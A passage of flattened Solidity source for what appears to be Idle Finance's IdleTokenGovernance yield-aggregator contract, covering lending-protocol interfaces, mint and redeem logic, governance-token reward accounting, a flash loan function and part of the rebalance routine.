function tokenPrice()
external
view
returns (uint256 price);
function supplyInterestRate()
external
view
returns (uint256);
function rateMultiplier()
external
view
returns (uint256);
function baseRate()
external
view
returns (uint256);
function borrowInterestRate()
external
view
returns (uint256);
function avgBorrowInterestRate()
external
view
returns (uint256);
function protocolInterestRate()
external
view
returns (uint256);
function spreadMultiplier()
external
view
returns (uint256);
function totalAssetBorrow()
external
view
returns (uint256);
function totalAssetSupply()
external
view
returns (uint256);
function nextSupplyInterestRate(uint256)
external
view
returns (uint256);
function nextBorrowInterestRate(uint256)
external
view
returns (uint256);
function nextLoanInterestRate(uint256)
external
view
returns (uint256);
function totalSupplyInterestRate(uint256)
external
view
returns (uint256);
function claimLoanToken()
external
returns (uint256 claimedAmount);
function dsr()
external
view
returns (uint256);
function chaiPrice()
external
view
returns (uint256);
}
// File: contracts/interfaces/ILendingProtocol.sol
pragma solidity 0.5.16;
interface ILendingProtocol {
function mint() external returns (uint256);
function redeem(address account) external returns (uint256);
function nextSupplyRate(uint256 amount) external view returns (uint256);
function getAPR() external view returns (uint256);
function getPriceInToken() external view returns (uint256);
function token() external view returns (address);
function underlying() external view returns (address);
function availableLiquidity() external view returns (uint256);
}
// File: contracts/interfaces/IGovToken.sol
pragma solidity 0.5.16;
interface IGovToken {
function redeemGovTokens() external;
}
// File: contracts/interfaces/IIdleTokenV3_1.sol
/**
* @title: Idle Token interface
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.5.16;
interface IIdleTokenV3_1 {
// view
/**
* IdleToken price calculation, in underlying
*
* @return : price in underlying token
*/
function tokenPrice() external view returns (uint256 price);
/**
* @return : underlying token address
*/
function token() external view returns (address);
/**
* Get APR of every ILendingProtocol
*
* @return addresses: array of token addresses
* @return aprs: array of aprs (ordered in respect to the `addresses` array)
*/
function getAPRs() external view returns (address[] memory addresses, uint256[] memory aprs);
// external
// We should save the amount one has deposited to calc interests
/**
* Used to mint IdleTokens, given an underlying amount (eg. DAI).
* This method triggers a rebalance of the pools if needed
* NOTE: User should 'approve' _amount of tokens before calling mintIdleToken
* NOTE 2: this method can be paused
*
* @param _amount : amount of underlying token to be lended
* @param _skipRebalance : flag for skipping rebalance for lower gas price
* @param _referral : referral address
* @return mintedTokens : amount of IdleTokens minted
*/
function mintIdleToken(uint256 _amount, bool _skipRebalance, address _referral) external returns (uint256 mintedTokens);
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
* This method triggers a rebalance of the pools if needed
* NOTE: If the contract is paused or iToken price has decreased one can still redeem but no rebalance happens.
* NOTE 2: If iToken price has decresed one should not redeem (but can do it) otherwise he would capitalize the loss.
* Ideally one should wait until the black swan event is terminated
*
* @param _amount : amount of IdleTokens to be burned
* @return redeemedTokens : amount of underlying tokens redeemed
*/
function redeemIdleToken(uint256 _amount) external returns (uint256 redeemedTokens);
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
* and send interest-bearing tokens (eg. cDAI/iDAI) directly to the user.
* Underlying (eg. DAI) is not redeemed here.
*
* @param _amount : amount of IdleTokens to be burned
*/
function redeemInterestBearingTokens(uint256 _amount) external;
/**
* @return : whether has rebalanced or not
*/
function rebalance() external returns (bool);
}
// File: contracts/interfaces/IERC3156FlashBorrower.sol
pragma solidity 0.5.16;
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
// File: contracts/interfaces/IAaveIncentivesController.sol
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.5.16;
interface IAaveIncentivesController {
/**
* @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards
* @param amount Amount of rewards to claim
* @param to Address that will be receiving the rewards
* @return Rewards claimed
**/
function claimRewards(
address[] calldata assets,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev returns the unclaimed rewards of the user
* @param user the address of the user
* @return the unclaimed user rewards
*/
function getUserUnclaimedRewards(address user) external view returns (uint256);
function getAssetData(address asset) external view returns (uint256, uint256, uint256);
}
// File: contracts/interfaces/Comptroller.sol
pragma solidity 0.5.16;
interface Comptroller {
function claimComp(address) external;
function compSpeeds(address _cToken) external view returns (uint256);
function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external;
}
// File: contracts/interfaces/CERC20.sol
pragma solidity 0.5.16;
interface CERC20 {
function mint(uint256 mintAmount) external returns (uint256);
function comptroller() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function totalReserves() external view returns (uint256);
function getCash() external view returns (uint256);
function totalBorrows() external view returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function interestRateModel() external view returns (address);
function underlying() external view returns (address);
}
// File: contracts/interfaces/AToken.sol
pragma solidity 0.5.16;
interface AToken {
function getIncentivesController() external view returns (address);
function redeem(uint256 amount) external;
function burn(address user, address receiverOfUnderlying, uint256 amount, uint256 index) external;
}
// File: contracts/interfaces/IdleController.sol
pragma solidity 0.5.16;
interface IdleController {
function idleSpeeds(address _idleToken) external view returns (uint256);
function claimIdle(address[] calldata holders, address[] calldata idleTokens) external;
function getAllMarkets() external view returns (address[] memory);
function _addIdleMarkets(address[] calldata) external;
function _supportMarkets(address[] calldata) external;
}
// File: contracts/interfaces/PriceOracle.sol
pragma solidity 0.5.16;
interface PriceOracle {
function getUnderlyingPrice(address _idleToken) external view returns (uint256);
function getPriceUSD(address _asset) external view returns (uint256 price);
function getPriceETH(address _asset) external view returns (uint256 price);
function getPriceToken(address _asset, address _token) external view returns (uint256 price);
function WETH() external view returns (address);
function getCompApr(address cToken, address token) external view returns (uint256);
function getStkAaveApr(address aToken, address token) external view returns (uint256);
}
// File: contracts/interfaces/IIdleTokenHelper.sol
pragma solidity 0.5.16;
interface IIdleTokenHelper {
function setIdleTokens(address[] calldata _newIdleTokens) external;
function getAPR(address _idleToken, address _cToken, address _aToken) external view returns (uint256 avgApr);
function getCurrentAllocations(address _idleToken) external view returns (uint256[] memory amounts, uint256 total);
function getAPRs(address _idleToken) external view returns (address[] memory addresses, uint256[] memory aprs);
function sellGovTokens(address _idleToken, uint256[] calldata _minTokenOut) external;
function emergencyWithdrawToken(address _token, address _to) external;
}
// File: contracts/interfaces/GasToken.sol
pragma solidity 0.5.16;
interface GasToken {
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function balanceOf(address from) external returns (uint256 balance);
}
// File: contracts/GST2ConsumerV2.sol
pragma solidity 0.5.16;
contract GST2ConsumerV2 is Initializable {
GasToken public gst2;
// Kept for reference
//
// function initialize() initializer public {
// gst2 = GasToken(0x0000000000b3F879cb30FE243b4Dfee438691c04);
// }
//
// modifier gasDiscountFrom(address from) {
// uint256 initialGasLeft = gasleft();
// _;
// _makeGasDiscount(initialGasLeft - gasleft(), from);
// }
//
// function _makeGasDiscount(uint256 gasSpent, address from) internal {
// // For more info https://gastoken.io/
// // 14154 -> FREE_BASE -> base cost of freeing
// // 41130 -> 2 * REIMBURSE - FREE_TOKEN -> 2 * 24000 - 6870
// uint256 tokens = (gasSpent + 14154) / 41130;
// uint256 safeNumTokens;
// uint256 gas = gasleft();
//
// // For more info https://github.com/projectchicago/gastoken/blob/master/contract/gst2_free_example.sol
// if (gas >= 27710) {
// safeNumTokens = (gas - 27710) / 7020;
// }
//
// if (tokens > safeNumTokens) {
// tokens = safeNumTokens;
// }
//
// if (tokens > 0) {
// gst2.freeFromUpTo(from, tokens);
// }
// }
}
// File: contracts/IdleTokenGovernance.sol
/**
* @title: Idle Token Governance main contract
* @summary: ERC20 that holds pooled user funds together
* Each token rapresent a share of the underlying pools
* and with each token user have the right to redeem a portion of these pools
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.5.16;
contract IdleTokenGovernance is Initializable, ERC20, ERC20Detailed, ReentrancyGuard, Ownable, Pausable, IIdleTokenV3_1, GST2ConsumerV2 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private constant ONE_18 = 10**18;
// State variables
// eg. DAI address
address public token;
// eg. iDAI address
address private iToken;
// eg. cDAI address
address private cToken;
// Idle rebalancer current implementation address
address public rebalancer;
// Address collecting underlying fees
address public feeAddress;
// Last iToken price, used to pause contract in case of a black swan event
uint256 public lastITokenPrice;
// eg. 18 for DAI
uint256 private tokenDecimals;
// Max unlent assets percentage for gas friendly swaps
uint256 public maxUnlentPerc; // 100000 == 100% -> 1000 == 1%
// Current fee on interest gained
uint256 public fee;
// eg. [cTokenAddress, iTokenAddress, ...]
address[] public allAvailableTokens;
// eg. [COMPAddress, CRVAddress, ...]
address[] public govTokens;
// last fully applied allocations (ie when all liquidity has been correctly placed)
// eg. [5000, 0, 5000, 0] for 50% in compound, 0% fulcrum, 50% aave, 0 dydx. same order of allAvailableTokens
uint256[] public lastAllocations;
// Map that saves avg idleToken price paid for each user, used to calculate earnings
mapping(address => uint256) public userAvgPrices;
// eg. cTokenAddress => IdleCompoundAddress
mapping(address => address) public protocolWrappers;
// array with last balance recorded for each gov tokens
mapping (address => uint256) public govTokensLastBalances;
// govToken -> user_address -> user_index eg. usersGovTokensIndexes[govTokens[0]][msg.sender] = 1111123;
mapping (address => mapping (address => uint256)) public usersGovTokensIndexes;
// global indices for each gov tokens used as a reference to calculate a fair share for each user
mapping (address => uint256) public govTokensIndexes;
// Map that saves amount with no fee for each user
mapping(address => uint256) private userNoFeeQty;
// variable used for avoid the call of mint and redeem in the same tx
bytes32 private _minterBlock;
// Events
event Rebalance(address _rebalancer, uint256 _amount);
event Referral(uint256 _amount, address _ref);
// ########## IdleToken V4_1 updates
// Idle governance token
address public constant IDLE = address(0x875773784Af8135eA0ef43b5a374AaD105c5D39e);
// Compound governance token
address public constant COMP = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
uint256 private constant FULL_ALLOC = 100000;
// Idle distribution controller
address public constant idleController = address(0x275DA8e61ea8E02d51EDd8d0DC5c0E62b4CDB0BE);
// oracle used for calculating the avgAPR with gov tokens
address public oracle;
// eg cDAI -> COMP
mapping(address => address) private protocolTokenToGov;
// Whether openRebalance is enabled or not
bool public isRiskAdjusted;
// last allocations submitted by rebalancer
uint256[] private lastRebalancerAllocations;
// ########## IdleToken V5 updates
// Fee for flash loan
uint256 public flashLoanFee;
// IdleToken helper address
address public tokenHelper;
/**
* @dev Emitted on flashLoan()
* @param target The address of the flash loan receiver contract
* @param initiator The address initiating the flash loan
* @param amount The amount flash borrowed
* @param premium The flash loan fee
**/
event FlashLoan(
address indexed target,
address indexed initiator,
uint256 amount,
uint256 premium
);
// Addresses for stkAAVE distribution from Aave
address public constant stkAAVE = address(0x4da27a545c0c5B758a6BA100e3a049001de870f5);
address private aToken;
// ########## End IdleToken V5 updates
// ERROR MESSAGES:
// 0 = is 0
// 1 = already initialized
// 2 = length is different
// 3 = Not greater then
// 4 = lt
// 5 = too high
// 6 = not authorized
// 7 = not equal
// 8 = error on flash loan execution
// 9 = Reentrancy
function _init(address _tokenHelper, address _aToken, address _newOracle) external {
require(tx.origin == owner(), '6');
tokenHelper = _tokenHelper;
// flashLoanFee = 80; // 0.08%
aToken = _aToken;
oracle = _newOracle;
}
// onlyOwner
/**
* It allows owner to modify allAvailableTokens array in case of emergency
* ie if a bug on a interest bearing token is discovered and reset protocolWrappers
* associated with those tokens.
*
* @param protocolTokens : array of protocolTokens addresses (eg [cDAI, iDAI, ...])
* @param wrappers : array of wrapper addresses (eg [IdleCompound, IdleFulcrum, ...])
* @param _newGovTokens : array of governance token addresses
* @param _newGovTokensEqualLen : array of governance token addresses for each
* protocolToken (addr0 should be used for protocols with no govToken)
*/
function setAllAvailableTokensAndWrappers(
address[] calldata protocolTokens,
address[] calldata wrappers,
address[] calldata _newGovTokens,
address[] calldata _newGovTokensEqualLen
) external onlyOwner {
require(protocolTokens.length == wrappers.length, "2");
require(_newGovTokensEqualLen.length >= protocolTokens.length, '3');
govTokens = _newGovTokens;
address newGov;
address protToken;
for (uint256 i = 0; i < protocolTokens.length; i++) {
protToken = protocolTokens[i];
require(protToken != address(0) && wrappers[i] != address(0), "0");
protocolWrappers[protToken] = wrappers[i];
// set protocol token to gov token mapping
newGov = _newGovTokensEqualLen[i];
if (newGov != IDLE) {
protocolTokenToGov[protToken] = newGov;
}
}
allAvailableTokens = protocolTokens;
}
/**
* It allows owner to set the flash loan fee
*
* @param _flashFee : new flash loan fee. Max is FULL_ALLOC
*/
function setFlashLoanFee(uint256 _flashFee)
external onlyOwner {
require((flashLoanFee = _flashFee) < FULL_ALLOC, "4");
}
/**
* It allows owner to set the cToken address
*
* @param _cToken : new cToken address
*/
function setCToken(address _cToken)
external onlyOwner {
require((cToken = _cToken) != address(0), "0");
}
/**
* It allows owner to set the aToken address
*
* @param _aToken : new aToken address
*/
function setAToken(address _aToken)
external onlyOwner {
require((aToken = _aToken) != address(0), "0");
}
/**
* It allows owner to set the IdleRebalancerV3_1 address
*
* @param _rebalancer : new IdleRebalancerV3_1 address
*/
function setRebalancer(address _rebalancer)
external onlyOwner {
require((rebalancer = _rebalancer) != address(0), "0");
}
/**
* It allows owner to set the fee (1000 == 10% of gained interest)
*
* @param _fee : fee amount where 100000 is 100%, max settable is 10%
*/
function setFee(uint256 _fee)
external onlyOwner {
// 100000 == 100% -> 10000 == 10%
require((fee = _fee) <= FULL_ALLOC / 10, "5");
}
/**
* It allows owner to set the fee address
*
* @param _feeAddress : fee address
*/
function setFeeAddress(address _feeAddress)
external onlyOwner {
require((feeAddress = _feeAddress) != address(0), "0");
}
/**
* It allows owner to set the oracle address for getting avgAPR
*
* @param _oracle : new oracle address
*/
function setOracleAddress(address _oracle)
external onlyOwner {
require((oracle = _oracle) != address(0), "0");
}
/**
* It allows owner to set the max unlent asset percentage (1000 == 1% of unlent asset max)
*
* @param _perc : max unlent perc where 100000 is 100%
*/
function setMaxUnlentPerc(uint256 _perc)
external onlyOwner {
require((maxUnlentPerc = _perc) <= 100000, "5");
}
/**
* Used by Rebalancer to set the new allocations
*
* @param _allocations : array with allocations in percentages (100% => 100000)
*/
function setAllocations(uint256[] calldata _allocations) external {
require(msg.sender == rebalancer || msg.sender == owner(), "6");
_setAllocations(_allocations);
}
/**
* Used by Rebalancer or in openRebalance to set the new allocations
*
* @param _allocations : array with allocations in percentages (100% => 100000)
*/
function _setAllocations(uint256[] memory _allocations) internal {
require(_allocations.length == allAvailableTokens.length, "2");
uint256 total;
for (uint256 i = 0; i < _allocations.length; i++) {
total = total.add(_allocations[i]);
}
lastRebalancerAllocations = _allocations;
require(total == FULL_ALLOC, "7");
}
// view
/**
* Get latest allocations submitted by rebalancer
*
* @return : array of allocations ordered as allAvailableTokens
*/
function getAllocations() external view returns (uint256[] memory) {
return lastRebalancerAllocations;
}
/**
* Get currently used gov tokens
*
* @return : array of govTokens supported
*/
function getGovTokens() external view returns (address[] memory) {
return govTokens;
}
/**
* Get currently used protocol tokens (cDAI, aDAI, ...)
*
* @return : array of protocol tokens supported
*/
function getAllAvailableTokens() external view returns (address[] memory) {
return allAvailableTokens;
}
/**
* Get gov token associated to a protocol token eg protocolTokenToGov[cDAI] = COMP
*
* @return : address of the gov token
*/
function getProtocolTokenToGov(address _protocolToken) external view returns (address) {
return protocolTokenToGov[_protocolToken];
}
/**
* IdleToken price for a user considering fees, in underlying
* this is useful when you need to redeem exactly X underlying
*
* @return : price in underlying token counting fees for a specific user
*/
function tokenPriceWithFee(address user)
external view
returns (uint256 priceWFee) {
uint256 userAvgPrice = userAvgPrices[user];
priceWFee = _tokenPrice();
if (userAvgPrice != 0 && priceWFee > userAvgPrice) {
priceWFee = priceWFee.mul(FULL_ALLOC).sub(fee.mul(priceWFee.sub(userAvgPrice))).div(FULL_ALLOC);
}
}
/**
* IdleToken price calculation, in underlying
*
* @return : price in underlying token
*/
function tokenPrice()
external view
returns (uint256) {
return _tokenPrice();
}
/**
* Get APR of every ILendingProtocol
*
* @return addresses: array of token addresses
* @return aprs: array of aprs (ordered in respect to the `addresses` array)
*/
function getAPRs()
external view
returns (address[] memory, uint256[] memory) {
return IIdleTokenHelper(tokenHelper).getAPRs(address(this));
}
/**
* Get current avg APR of this IdleToken
*
* @return avgApr: current weighted avg apr
*/
function getAvgAPR()
public view
returns (uint256) {
return IIdleTokenHelper(tokenHelper).getAPR(address(this), cToken, aToken);
}
/**
* ERC20 modified transferFrom that also update the avgPrice paid for the recipient and
* updates user gov idx
*
* @param sender : sender account
* @param recipient : recipient account
* @param amount : value to transfer
* @return : flag whether transfer was successful or not
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_updateUserGovIdxTransfer(sender, recipient, amount);
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowance(sender, msg.sender).sub(amount, "ERC20: transfer amount exceeds allowance"));
_updateUserFeeInfo(recipient, amount, userAvgPrices[sender]);
return true;
}
/**
* ERC20 modified transfer that also update the avgPrice paid for the recipient and
* updates user gov idx
*
* @param recipient : recipient account
* @param amount : value to transfer
* @return : flag whether transfer was successful or not
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_updateUserGovIdxTransfer(msg.sender, recipient, amount);
_transfer(msg.sender, recipient, amount);
_updateUserFeeInfo(recipient, amount, userAvgPrices[msg.sender]);
return true;
}
/**
* Helper method for transfer and transferFrom, updates recipient gov indexes
*
* @param _from : sender account
* @param _to : recipient account
* @param amount : value to transfer
*/
function _updateUserGovIdxTransfer(address _from, address _to, uint256 amount) internal {
address govToken;
uint256 govTokenIdx;
uint256 sharePerTokenFrom;
uint256 shareTo;
uint256 balanceTo = balanceOf(_to);
for (uint256 i = 0; i < govTokens.length; i++) {
govToken = govTokens[i];
if (balanceTo == 0) {
usersGovTokensIndexes[govToken][_to] = usersGovTokensIndexes[govToken][_from];
} else {
govTokenIdx = govTokensIndexes[govToken];
// calc 1 idleToken value in gov shares for user `_from`
sharePerTokenFrom = govTokenIdx.sub(usersGovTokensIndexes[govToken][_from]);
// calc current gov shares (before transfer) for user `_to`
shareTo = balanceTo.mul(govTokenIdx.sub(usersGovTokensIndexes[govToken][_to])).div(ONE_18);
// user `_to` should have -> shareTo + (sharePerTokenFrom * amount / 1e18) = (balanceTo + amount) * (govTokenIdx - userIdx) / 1e18
// so userIdx = govTokenIdx - ((shareTo * 1e18 + (sharePerTokenFrom * amount)) / (balanceTo + amount))
usersGovTokensIndexes[govToken][_to] = govTokenIdx.sub(
shareTo.mul(ONE_18).add(sharePerTokenFrom.mul(amount)).div(
balanceTo.add(amount)
)
);
}
}
}
/**
* Get how many gov tokens a user is entitled to (this may not include eventual undistributed tokens)
*
* @param _usr : user address
* @return : array of amounts for each gov token
*/
function getGovTokensAmounts(address _usr) external view returns (uint256[] memory _amounts) {
address govToken;
uint256 usrBal = balanceOf(_usr);
_amounts = new uint256[](govTokens.length);
for (uint256 i = 0; i < _amounts.length; i++) {
govToken = govTokens[i];
_amounts[i] = usrBal.mul(govTokensIndexes[govToken].sub(usersGovTokensIndexes[govToken][_usr])).div(ONE_18);
}
}
// external
/**
* Used to mint IdleTokens, given an underlying amount (eg. DAI).
* This method triggers a rebalance of the pools if _skipRebalance is set to false
* NOTE: User should 'approve' _amount of tokens before calling mintIdleToken
* NOTE 2: this method can be paused
*
* @param _amount : amount of underlying token to be lended
* @param : not used anymore
* @param _referral : referral address
* @return mintedTokens : amount of IdleTokens minted
*/
function mintIdleToken(uint256 _amount, bool, address _referral)
external nonReentrant whenNotPaused
returns (uint256 mintedTokens) {
_minterBlock = keccak256(abi.encodePacked(tx.origin, block.number));
_redeemGovTokens(msg.sender);
// Get current IdleToken price
uint256 idlePrice = _tokenPrice();
// transfer tokens to this contract
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
mintedTokens = _amount.mul(ONE_18).div(idlePrice);
_mint(msg.sender, mintedTokens);
// Update avg price and user idx for each gov tokens
_updateUserInfo(msg.sender, mintedTokens);
_updateUserFeeInfo(msg.sender, mintedTokens, idlePrice);
if (_referral != address(0)) {
emit Referral(_amount, _referral);
}
}
/**
* Helper method for mintIdleToken, updates minter gov indexes and avg price
*
* @param _to : minter account
* @param _mintedTokens : number of newly minted tokens
*/
function _updateUserInfo(address _to, uint256 _mintedTokens) internal {
address govToken;
uint256 usrBal = balanceOf(_to);
uint256 _usrIdx;
for (uint256 i = 0; i < govTokens.length; i++) {
govToken = govTokens[i];
_usrIdx = usersGovTokensIndexes[govToken][_to];
// calculate user idx
usersGovTokensIndexes[govToken][_to] = _usrIdx.add(
_mintedTokens.mul(govTokensIndexes[govToken].sub(_usrIdx)).div(usrBal)
);
}
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
*
* @param _amount : amount of IdleTokens to be burned
* @return redeemedTokens : amount of underlying tokens redeemed
*/
function redeemIdleToken(uint256 _amount)
external
returns (uint256) {
return _redeemIdleToken(_amount, new bool[](govTokens.length));
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
* WARNING: if elements in the `_skipGovTokenRedeem` are set to `true` then the rewards will be GIFTED to the pool
*
* @param _amount : amount of IdleTokens to be burned
* @param _skipGovTokenRedeem : array of flags whether to redeem or not specific gov tokens
* @return redeemedTokens : amount of underlying tokens redeemed
*/
function redeemIdleTokenSkipGov(uint256 _amount, bool[] calldata _skipGovTokenRedeem)
external
returns (uint256) {
return _redeemIdleToken(_amount, _skipGovTokenRedeem);
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
*
* @param _amount : amount of IdleTokens to be burned
* @param _skipGovTokenRedeem : array of flag for redeeming or not gov tokens. Funds will be gifted to the pool
* @return redeemedTokens : amount of underlying tokens redeemed
*/
function _redeemIdleToken(uint256 _amount, bool[] memory _skipGovTokenRedeem)
internal nonReentrant
returns (uint256 redeemedTokens) {
_checkMintRedeemSameTx();
_redeemGovTokensInternal(msg.sender, _skipGovTokenRedeem);
if (_amount != 0) {
uint256 price = _tokenPrice();
uint256 valueToRedeem = _amount.mul(price).div(ONE_18);
uint256 balanceUnderlying = _contractBalanceOf(token);
if (valueToRedeem > balanceUnderlying) {
redeemedTokens = _redeemHelper(_amount, balanceUnderlying);
} else {
redeemedTokens = valueToRedeem;
}
// get eventual performance fee
redeemedTokens = _getFee(_amount, redeemedTokens, price);
// burn idleTokens
_burn(msg.sender, _amount);
// send underlying minus fee to msg.sender
_transferTokens(token, msg.sender, redeemedTokens);
}
}
function _redeemHelper(uint256 _amount, uint256 _balanceUnderlying) private returns (uint256 redeemedTokens) {
address currToken;
uint256 idleSupply = totalSupply();
address[] memory _allAvailableTokens = allAvailableTokens;
for (uint256 i = 0; i < _allAvailableTokens.length; i++) {
currToken = _allAvailableTokens[i];
redeemedTokens = redeemedTokens.add(
_redeemProtocolTokens(
currToken,
// _amount * protocolPoolBalance / idleSupply
_amount.mul(_contractBalanceOf(currToken)).div(idleSupply) // amount to redeem
)
);
}
// and get a portion of the eventual unlent balance
redeemedTokens = redeemedTokens.add(_amount.mul(_balanceUnderlying).div(idleSupply));
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
* and send interest-bearing tokens (eg. cDAI/iDAI) directly to the user.
* Underlying (eg. DAI) is not redeemed here.
*
* @param _amount : amount of IdleTokens to be burned
*/
function redeemInterestBearingTokens(uint256 _amount)
external nonReentrant whenPaused {
_checkMintRedeemSameTx();
_redeemGovTokens(msg.sender);
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
_transferTokens(allAvailableTokens[i], msg.sender, _amount.mul(_contractBalanceOf(allAvailableTokens[i])).div(totalSupply()));
}
// Get a portion of the eventual unlent balance
_transferTokens(token, msg.sender, _amount.mul(_contractBalanceOf(token)).div(totalSupply()));
_burn(msg.sender, _amount);
}
/**
* Dynamic allocate all the pool across different lending protocols if needed,
* rebalance without params
*
* NOTE: this method can be paused
*
* @return : whether has rebalanced or not
*/
function rebalance() external returns (bool) {
return _rebalance();
}
/**
* @dev The fee to be charged for a given loan.
* @param _token The loan currency.
* @param _amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256) {
require(_token == token, '7');
return _amount.mul(flashLoanFee).div(FULL_ALLOC);
}
/**
* @dev The amount of currency available to be lent.
* @param _token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address _token) external view returns (uint256) {
if (_token == token) {
return _tokenPrice().mul(totalSupply()).div(ONE_18);
}
}
/**
* Allow any users to borrow funds inside a tx if they return the same amount + `flashLoanFee`
*
* @param _receiver : flash loan receiver, should have the IERC3156FlashBorrower interface
* @param _token : used to check that the requested token is the correct one
* @param _amount : amount of `token` to borrow
* @param _params : params that should be passed to the _receiverAddress in the `executeOperation` call
*/
function flashLoan(
IERC3156FlashBorrower _receiver,
address _token,
uint256 _amount,
bytes calldata _params
) external whenNotPaused nonReentrant returns (bool) {
address receiverAddr = address(_receiver);
require(_token == token, "7");
require(receiverAddr != address(0) && _amount > 0, "0");
// get current underlying unlent balance
uint256 balance = _contractBalanceOf(token);
if (_amount > balance) {
// Unlent is not enough, some funds needs to be redeemed from underlying protocols
uint256 toRedeem = _amount.sub(balance);
uint256 _toRedeemAux;
address currToken;
uint256 currBalanceUnderlying;
uint256 availableLiquidity;
uint256 redeemed;
uint256 protocolTokenPrice;
ILendingProtocol protocol;
bool isEnough;
bool haveWeInvestedEnough;
// We cycle through interest bearing tokens currently in use (eg [cDAI, aDAI])
// (ie we cycle each lending protocol where we have some funds currently deposited)
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currToken = allAvailableTokens[i];
protocol = ILendingProtocol(protocolWrappers[currToken]);
protocolTokenPrice = protocol.getPriceInToken();
availableLiquidity = protocol.availableLiquidity();
currBalanceUnderlying = _contractBalanceOf(currToken).mul(protocolTokenPrice).div(ONE_18);
// We need to check:
// 1. if Idle has invested enough in that protocol to cover the user request
haveWeInvestedEnough = currBalanceUnderlying >= toRedeem;
// 2. if the current lending protocol has enough liquidity available (not borrowed) to cover the user requested amount
isEnough = availableLiquidity >= toRedeem;
// in order to calculate `_toRedeemAux` which is the amount of underlying (eg DAI)
// that we have to redeem from that lending protocol
_toRedeemAux = haveWeInvestedEnough ?
// if we lent enough and that protocol has enough liquidity we redeem `toRedeem` and we are done, otherwise we redeem `availableLiquidity`
(isEnough ? toRedeem : availableLiquidity) :
// if we did not lent enough and that liquidity is available then we redeem all what we deposited, otherwise we redeem `availableLiquidity`
(currBalanceUnderlying <= availableLiquidity ? currBalanceUnderlying : availableLiquidity);
// do the actual redeem on the lending protocol
redeemed = _redeemProtocolTokens(
currToken,
// convert amount from underlying to protocol token
_toRedeemAux.mul(ONE_18).div(protocolTokenPrice)
);
// tokens are now in this contract
if (haveWeInvestedEnough && isEnough) {
break;
}
toRedeem = toRedeem.sub(redeemed);
}
}
require(_contractBalanceOf(token) >= _amount, "3");
// transfer funds
_transferTokens(token, receiverAddr, _amount);
// calculate fee
uint256 _flashFee = flashFee(token, _amount);
// call _receiver `onFlashLoan`
require(
_receiver.onFlashLoan(msg.sender, token, _amount, _flashFee, _params) == keccak256("ERC3156FlashBorrower.onFlashLoan"),
"8"
);
// transfer _amount + _flashFee from _receiver
IERC20(token).safeTransferFrom(receiverAddr, address(this), _amount.add(_flashFee));
// Put underlyings in lending once again with rebalance
_rebalance();
emit FlashLoan(receiverAddr, msg.sender, _amount, _flashFee);
return true;
}
// internal
/**
* Get current idleToken price based on net asset value and totalSupply
*
* @return price: value of 1 idleToken in underlying
*/
function _tokenPrice() internal view returns (uint256 price) {
uint256 totSupply = totalSupply();
if (totSupply == 0) {
return 10**(tokenDecimals);
}
address currToken;
uint256 totNav = _contractBalanceOf(token).mul(ONE_18); // eventual underlying unlent balance
address[] memory _allAvailableTokens = allAvailableTokens;
for (uint256 i = 0; i < _allAvailableTokens.length; i++) {
currToken = _allAvailableTokens[i];
totNav = totNav.add(
// NAV = price * poolSupply
_getPriceInToken(protocolWrappers[currToken]).mul(
_contractBalanceOf(currToken)
)
);
}
price = totNav.div(totSupply); // idleToken price in token wei
}
/**
* Dynamic allocate all the pool across different lending protocols if needed
*
* NOTE: this method can be paused
*
* @return : whether has rebalanced or not
*/
function _rebalance()
internal whenNotPaused
returns (bool) {
// check if we need to rebalance by looking at the last allocations submitted by rebalancer
uint256[] memory rebalancerLastAllocations = lastRebalancerAllocations;
uint256[] memory _lastAllocations = lastAllocations;
uint256 lastLen = _lastAllocations.length;
bool areAllocationsEqual = rebalancerLastAllocations.length == lastLen;
if (areAllocationsEqual) {
for (uint256 i = 0; i < lastLen || !areAllocationsEqual; i++) {
if (_lastAllocations[i] != rebalancerLastAllocations[i]) {
areAllocationsEqual = false;
break;
}
}
}
uint256 balance = _contractBalanceOf(token);
if (areAllocationsEqual && balance == 0) {
return false;
}
uint256 maxUnlentBalance = _getCurrentPoolValue().mul(maxUnlentPerc).div(FULL_ALLOC);
if (balance > maxUnlentBalance) {
// mint the difference
_mintWithAmounts(rebalancerLastAllocations, balance.sub(maxUnlentBalance));
}
if (areAllocationsEqual) {
return false;
}
// Instead of redeeming everything during rebalance we redeem and mint only what needs
// to be reallocated
// get current allocations in underlying (it does not count unlent underlying)
(uint256[] memory amounts, uint256 totalInUnderlying) = _getCurrentAllocations();
